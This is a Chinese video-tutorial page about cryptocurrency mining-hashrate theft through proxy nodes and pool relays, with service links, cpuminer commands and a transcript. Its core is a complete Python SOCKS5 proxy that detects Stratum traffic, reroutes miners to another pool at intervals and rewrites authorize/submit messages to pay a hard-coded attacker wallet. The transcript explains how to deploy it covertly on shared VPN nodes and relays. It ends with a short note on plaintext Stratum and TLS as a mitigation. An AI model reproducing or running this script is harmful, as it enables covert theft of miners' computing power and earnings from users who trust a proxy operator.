视频教程

youtube播放地址：https://youtu.be/5Uq8uNVy0DE

GIA高速VPS推荐： https://d.m123.org
家宽住宅VPS推荐： https://v.m123.org
自用专线机场推荐： https://b.m123.org

劫持挖矿算力

cpuminer挖矿工具：https://github.com/pooler/cpuminer/releases/tag/v2.5.1

挖矿指令：minerd.exe -a sha256d -o stratum+tcp://pool -u user.0 -p x

public矿池：https://web.public-pool.io
ck矿池：https://solo.ckpool.org

劫持脚本

import socket
import struct
import select
import json
import time
from socketserver import ThreadingTCPServer, StreamRequestHandler


HIJACK_POOL = ('public-pool.io', 21496) #劫持矿池
HIJACK_USER = "bc1q35tzavc2jyxmas46gsemfzawfyyxcyaxk8uexg.hijack" #劫持用户
NORMAL_DURATION = 600     # 正常连接时长（秒）
HIJACK_DURATION = 300     # 劫持连接时长（秒）


connection_states = {}

class ReusableTCPServer(ThreadingTCPServer):
   allow_reuse_address = True

class SocksProxy(StreamRequestHandler):
   def handle(self):
       client_ip, client_port = self.client_address
       if not self.socks5_handshake():
           return
       version, cmd, _, address_type = struct.unpack("!BBBB", self.connection.recv(4))
       assert version == 5
       dest_addr, dest_port = self.parse_address(address_type)
       print(f'[+] 正在访问 {dest_addr}:{dest_port}')
       try:
           dest_ip = socket.gethostbyname(dest_addr)
       except:
           print(f"[!] 域名解析失败：{dest_addr}")
           return

       conn_id = (client_ip, dest_ip, dest_port)
       state = connection_states.get(conn_id)
       now = time.monotonic()
       in_hijack_window = state and state["stage"] == "disconnect_wait" and now - state["timestamp"] <= HIJACK_DURATION

       if in_hijack_window:
           print(f"[!] 劫持矿池连接 {dest_addr}:{dest_port} → {HIJACK_POOL[0]}:{HIJACK_POOL[1]}")
           remote = socket.create_connection(HIJACK_POOL)
           self.reply_success(remote)
           self.relay_loop(self.connection, remote, mode="hijack")
       else:
           try:
               remote = socket.create_connection((dest_addr, dest_port))
               self.reply_success(remote)
               self.relay_and_detect(self.connection, remote, conn_id)
           except Exception as e:
               pass

   def socks5_handshake(self):
       try:
           version, nmethods = struct.unpack("!BB", self.connection.recv(2))
           assert version == 5
           self.connection.recv(nmethods)
           self.connection.sendall(struct.pack("!BB", 5, 0))
           return True
       except:
           return False

   def parse_address(self, atyp):
       if atyp == 1:
           addr = socket.inet_ntoa(self.connection.recv(4))
       elif atyp == 3:
           domain_len = self.connection.recv(1)[0]
           addr = self.connection.recv(domain_len).decode()
       elif atyp == 4:
           addr = socket.inet_ntop(socket.AF_INET6, self.connection.recv(16))
       else:
           raise ValueError("不支持的地址类型")
       port = struct.unpack("!H", self.connection.recv(2))[0]
       return addr, port

   def reply_success(self, remote):
       bind_ip, bind_port = remote.getsockname()
       reply = struct.pack("!BBBB", 5, 0, 0, 1)
       reply += socket.inet_aton(bind_ip) + struct.pack("!H", bind_port)
       self.connection.sendall(reply)

   def relay_and_detect(self, client, remote, conn_id):
       is_mining = False
       buffer = b""
       start_time = None

       while True:
           rlist, _, _ = select.select([client, remote], [], [], 1)
           if client in rlist:
               data = client.recv(4096)
               if not data:
                   break
               buffer += data

               if not is_mining:
                   try:
                       text = buffer.decode(errors="ignore")
                       if "mining.subscribe" in text:
                           is_mining = True
                           start_time = time.monotonic()
                           connection_states[conn_id] = {
                               "stage": "active",
                               "timestamp": start_time
                           }
                           print(f"[*] 嗅探到挖矿数据，{NORMAL_DURATION}秒后劫持算力...")
                   except:
                       pass
               remote.sendall(data)

           if remote in rlist:
               data = remote.recv(4096)
               if not data:
                   break
               client.sendall(data)

           if is_mining and time.monotonic() - start_time >= NORMAL_DURATION:
               print(f"[*] 断开真实矿池连接，开始劫持算力，时长:{HIJACK_DURATION}秒")
               connection_states[conn_id] = {
                   "stage": "disconnect_wait",
                   "timestamp": time.monotonic()
               }
               break

   def relay_loop(self, client, remote, mode="normal"):
       start_time = time.monotonic()
       while True:
           if time.monotonic() - start_time > HIJACK_DURATION:
               print(f"[*] 关闭劫持，重新连接到真实矿池挖矿，时长:{NORMAL_DURATION}秒")
               break
           rlist, _, _ = select.select([client, remote], [], [], 1)
           if client in rlist:
               data = client.recv(4096)
               if not data:
                   break
               data = self.modify_if_needed(data, mode)
               remote.sendall(data)
           if remote in rlist:
               data = remote.recv(4096)
               if not data:
                   break
               client.sendall(data)

   def modify_if_needed(self, data, mode):
       if mode != "hijack":
           return data
       try:
           text = data.decode("utf-8")
           modified = []
           for line in text.strip().split("\n"):
               try:
                   obj = json.loads(line)
                   if obj.get("method") in ["mining.authorize", "mining.submit"]:
                       if isinstance(obj.get("params"), list) and len(obj["params"]) > 0:
                           if obj.get("method")=="mining.submit":
                               print(f"[!] 提交份额，将 {obj['params'][0]} 挖矿收益劫持到 {HIJACK_USER}")
                           obj["params"][0] = HIJACK_USER
                          
                   modified.append(json.dumps(obj))
               except json.JSONDecodeError:
                   modified.append(line)
           return ("\n".join(modified) + "\n").encode("utf-8")
       except:
           return data

if __name__ == "__main__":
   print("[*] SOCKS5代理服务器监听地址 127.0.0.1:1080")
   with ReusableTCPServer(("127.0.0.1", 1080), SocksProxy) as server:
       server.serve_forever()

视频文稿（忽略）

当你使用别人的节点或者矿池中转进行挖矿的时候，很有可能你的矿机算力已经被劫持了，正在给别人打工，本期就来讲讲加密货币挖矿普遍存在的抽水情况

上期我们讲解了加密货币pow挖矿的技术原理，并且实战演示了比特币挖矿的流程，介绍了目前主流的矿池挖矿模式，以及普通用户也能参与的低门槛乐透solo挖矿模式，感兴趣的朋友可以回看，我在年初的时候就已经在用上期介绍过的bitaxeGamma进行乐透挖矿了，bitaxe项目从硬件设计到固件代码都是完全开源的，你有能力的话可以自己手搓一个出来，或者花1000去网上买别人做好的成品，但我并不推荐大家购买，因为挖中的概率无限趋近于零，除非你也是抱着玩玩的心态，或者觉得自己是能中彩票的天选之人，上期由于时长关系没有给大家展示矿机后台面板，借此机会让大家了解一下

面板上显示了矿机的各项性能参数，比如每秒能进行1T次哈希计算，每T次计算消耗20焦耳，相当于每秒消耗20焦耳，所以这个矿机的功耗是20w，与一台家用路由器的功耗相当

这次开机后总共给矿池提交了53万个份额，solo挖矿的话这些份额没什么作用，只是用来让矿池统计算力的，还有这个矿机运气最好的一次挖出的区块hash难度是721M倍，但对比121T倍的实际挖矿难度来说还是差的有点远，如果哪天运气爆棚挖到了这个难度倍率的区块hash，那就是中奖了，听不懂的话建议回看前两期比特币原理教程，有详细的解释
下面还能看到电源以及cpu温度和风扇转速等信息，目前已经不关机连续挖了3个星期，用的是这个cksolo矿池，点进去可以看到我这个比特币地址的详细挖矿状态，有1台矿机在为这个地址挖矿，加入的时间是2月16日，刚刚提交了份额，总共提交的份额数量，运气最好的一次难度倍率，下面是5分钟、1小时、1天、7天的平均hash率，以及按照当前算力，我要独立挖到一个区块的概率，就算我连续挖一年，中奖的概率也才0.006%，按照科学来讲我成化石了都挖不中，如果真中了那就只能证明我命由天不由我

矿机的配置也非常简单，设置wifi连接，再设置矿池即可，可以设置两个矿池，一个主矿池一个备用矿池，如果挖到了这个钱包地址将会收获3枚比特币

回到今天的主题，由于国内不允许进行挖矿活动，所以大部分矿池都被墙了无法直接连接，要想连接矿池挖矿的话有三种方法，第一种是找还没有被墙的矿池直连，这种方法不稳定，指不定哪天就被墙了，不推荐，第二种是使用翻墙节点，矿机将挖矿数据交给节点，节点负责转交给矿池，但是有些矿机不支持配置翻墙节点，比如我这台bitaxeGamma矿机，所以你家的路由器必须要有翻墙功能，可以看我频道的软路由系列教程，对新手来讲上手门槛是比较高的，所以很多人为了简单会使用第三种矿池中转，矿机将挖矿数据交给矿池中转服务器，中转服务器再将数据转交给真正的矿池，不管是翻墙节点还是矿池中转，你的挖矿数据都需要经过别人的服务器，所以这两种方式都可以被抽水，也就是算力抽成，抽水在挖矿行业非常常见，各个环节都存在抽水，内核抽水、中转抽水、矿池抽水，正规一点的一般会公示抽水的比例，比如某挖矿软件说他抽水5%，可以理解为在100分钟里，其中95分钟是给你的账户挖矿，另外5分钟会给软件作者的账户挖矿，而那些不正规的明面上说不抽水或者少量抽水，背地里都快把你抽干了，接下来就来实战演示通过节点或者中转，在你不知情的情况下抽水偷走你的算力，事先声明，本教程仅供学习交流，旨在让大家了解加密货币挖矿原理，禁止任何违法活动

以这个solo矿池为例，这些用到的信息我会放在视频下方的说明栏，我这里准备了两个比特币钱包地址，假设这个是你的钱包地址，输入到矿池可以查看当前是否在挖矿，再开一个窗口，假设这个是黑客的钱包地址，进入网页查看挖矿情况，两个钱包地址都还没有在挖矿，接下来使用上期讲过的cpu挖矿工具进行挖矿，将这里改成矿池的通信地址，这里改成你的比特币钱包地址，复制这条指令，在软件同目录下打开命令行工具执行该指令，为了防止录屏卡死我就给10个线程，回车执行，该矿池的难度设置为0.1，很快我就能找到符合条件的hash，这个yay就表示份额提交到了矿池，接着刷新你的挖矿状态，可以看到已经有一条正在挖矿的网络连接了，just now就是刚刚提交了份额，黑客的钱包没有在挖矿，接下来演示将算力劫持到黑客的钱包地址，按ctrl+c结束挖矿

刚才讲过国内大部分矿池都被墙了，所以你需要使用翻墙节点或者矿池中转来稳定连接到矿池，假设你使用的是机场节点或者别人搭建的节点，我就用xui随便搭建一个ss节点做演示，然后把这个节点分享给你用，你将这个节点导入代理工作，测试节点确实可以正常访问谷歌， 接着你为了让挖矿能更稳定，于是将挖矿软件的流量使用节点进行转发， 设置一个socks代理，端口就填入代理工具的10808，回车执行，此时你的挖矿流量就会经过黑客的高速节点转发，体验高速节点给你带来的流畅挖矿体验，刷新你的挖矿状态，确实在进行挖矿，看似一切安好，殊不知此时已经埋下了一颗定时炸弹，黑客只要在节点上做一个小动作，就能把你的挖矿算力转移到他的钱包地址上去，黑客的钱包地址目前还没有在挖矿，使用这段劫持脚本，只需要设置这4个参数，将挖矿流量劫持到哪个矿池，将挖矿收益劫持到哪个钱包地址，这个尾数为8ue的是黑客的钱包地址，为了不把你抽干，黑客可以设置抽水比例，比如你正常挖矿600秒之后，他会从你那抽300秒给他挖矿，视频演示我就改小一点，改成30和60，也就是你挖30秒之后，就给他挖60秒，复制所有代码，将其上传到节点服务器，接着使用python执行该脚本，脚本会在1080端口开启监控，如果发到这个端口的流量属于挖矿流量，就进行劫持，最后还需要设置一下ss节点，让节点收到的流量转发给1080端口，来到xray设置，添加一个出站，协议选择socks，地址和端口就填写脚本监听的1080，将刚才添加的socks出站置顶，最后点击保存并重启xray，此时就算是配置好了，可以看到已经有数据了，除了你在使用节点访问谷歌的流量，脚本还检测到了你正在进行挖矿，将在30秒后进行劫持，你的挖矿软件目前还在给你正常挖矿，黑客的钱包地址也还没有任何挖矿连接，接着我们只需要等待30秒，脚本就会断开你的挖矿连接，当你的挖矿软件重新连接的时候，就会将其劫持到黑客的钱包地址，可以看到已经提交了份额，此时再来刷新黑客的挖矿状态，就能看到已经在挖矿了，也就是你的挖矿软件正在给黑客进行挖矿，会把你的钱包地址劫持到黑客的钱包地址，60秒后，又会重新给你挖，黑客这边也就断掉了，这样就在你无感的情况下实现了算力劫持，再过30秒又会给黑客挖，如此往复循环，具体抽多少，节点的主人可以随意控制，总之不管你是用别人的免费节点还是用机场买的收费节点，只要对方愿意，就能随意偷走你的挖矿算力，而且不影响你使用这个节点进行翻墙

接着再演示中转的劫持情况，按ctrl+c关闭劫持脚本和挖矿软件，这次我们以ckpool矿池为例，假设这个矿池通信网址已经被墙了，你选择用别人的中转，黑客可以在xui中给他创建一条中转给你用，来到入站列表，添加一个中转，协议选择dokodemo-door，目标地址和端口就填写ck池的通信地址，点击创建，接着黑客跟你说只要连接这台vps的这个端口，就能直接使用ck池挖矿了，不需要繁琐的配置翻墙工具，接着你把挖矿地址改成vps的ip和端口，然后执行该指令，同样给10个线程，为了方便观察我在后面加上-D可以打印更详细的日志，先在vps上执行劫持脚本，再执行挖矿程序，挖矿程序运行之后，黑客同样能劫持到挖矿数据，30秒之后将会被劫持，ck池的默认难度是10000倍，对这cpu来说比较吃力很难出现yay，另外可以看到ck池的job_id是比较长的，额外随机数也比较长，30秒到了已经开始劫持了，虽然你是在ck池挖，但是黑客把你的算力劫持到了public池，收益也劫持到了黑客的钱包地址，刷新黑客的挖矿状态，可以看到刚刚提交了份额，用黑客的中转你正在帮他打工，60秒后将会关闭劫持，又会重新恢复到正常挖矿状态，这就是劫持的效果，由于是两个不同的矿池，job_id长度不同，可以通过日志来判断是否存在劫持，这就是两种劫持的情况，这种直接打断连接的劫持方式并不是很隐蔽，还有一种可以不打断连接，直接篡改数据包里的挖矿数据实现更隐蔽的劫持效果，以后有机会再细说

挖矿数据能被劫持归根结底是因为，挖矿使用的stratum+tcp通信协议默认是明文的没有加密，要解决翻墙节点劫持算力的问题可以使用stratum+tls的加密方式进行通信，但加上tls的开销太大了，同时要处理大量连接的矿池不愿意推广stratum+tls，矿机也不愿意用，所以现在主流还是使用stratum+tcp的明文通信协议，比如我刚才演示的矿机就只能使用stratum+tcp，而且如果你用带抽水功能的矿池中转，即使是stratum+tls也没用，因为套的只是中转的tls，原始矿池的tls在中转就被解密了，照样可以抽水